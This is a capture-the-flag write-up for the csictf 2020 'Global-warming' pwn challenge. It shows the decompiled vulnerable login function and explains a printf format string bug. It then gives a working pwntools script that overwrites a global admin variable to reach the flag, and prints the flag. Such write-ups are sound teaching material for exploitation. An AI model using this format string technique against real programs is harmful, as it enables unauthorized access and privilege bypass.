Global-warming

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WriteUp来源

https://dunsp4rce.github.io/csictf-2020/pwn/2020/07/22/Global-warming.html

by AnandSaminathan

题目描述

题目考点

解题思路

The binary contains two functions - main and login, the main function reads an input and passes it to login. On decompiling login using Ghidra:

void login(int32_t arg_ch)
{
    int32_t unaff_EBX;
    int32_t var_4h;
    
    __x86.get_pc_thunk.bx();
    printf(arg_ch);
    if (admin == 0xb4dbabe3) {
        system("cat flag.txt");
    } else {
        printf("You cannot login as admin.");
    }
    return;
}

It is clear that printf prints the input without any format string, so the binary has format string vulnerability. The input has to some how overwrite admin to 0xb4dbabe3 which is a global variable at 0x804c02c. This can be done using %n or %hn format string. But instead it is easier to do it using pwntools' fmstr_payload function, which only requires the location of format string from the stack pointer and <address, value> pairs of the variables to overwritten as a dict.

In this case, the format string is 12 positions away from the stack pointer (found manually by using %x's as inputs). This script worked:

from pwn import *
elf = ELF('./global-warming')
io = remote("chall.csivit.com", 30023)
admin = elf.symbols['admin']
magic = 0xb4dbabe3
io.sendline(fmtstr_payload(12, {admin : magic}))
io.recvline()
print(io.recvall())

Flag

csictf{n0_5tr1ng5_@tt@ch3d}